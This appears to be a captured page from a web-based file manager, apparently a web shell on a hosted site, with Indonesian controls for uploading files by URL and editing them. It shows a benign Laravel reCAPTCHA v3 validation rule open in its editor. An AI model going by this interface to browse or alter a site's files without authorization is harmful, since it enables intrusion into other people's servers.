CURRENT PATH:
/
home
/
u451283037
/
domains
/
brighteducenter.com
/
public_html
/
app
/
Rules
/
KEMBALI
|
HOME
Upload File Local:
Upload
Upload via URL:
Download
Dir Baru
File Baru
Editing:
ReCaptchaV3.php
<?php namespace App\Rules; use Illuminate\Contracts\Validation\Rule; use GuzzleHttp\Client; class ReCaptchaV3 implements Rule { public function passes($attribute, $value) { $client = new Client(); $response = $client->post('https://www.google.com/recaptcha/api/siteverify', [ 'form_params' => [ 'secret' => env('RECAPTCHA_V3_SECRET_KEY'), 'response' => $value, ], ]); $data = json_decode($response->getBody()); return $data->success; } public function message() { return 'Invalid reCAPTCHA.'; } }
SIMPAN
BATAL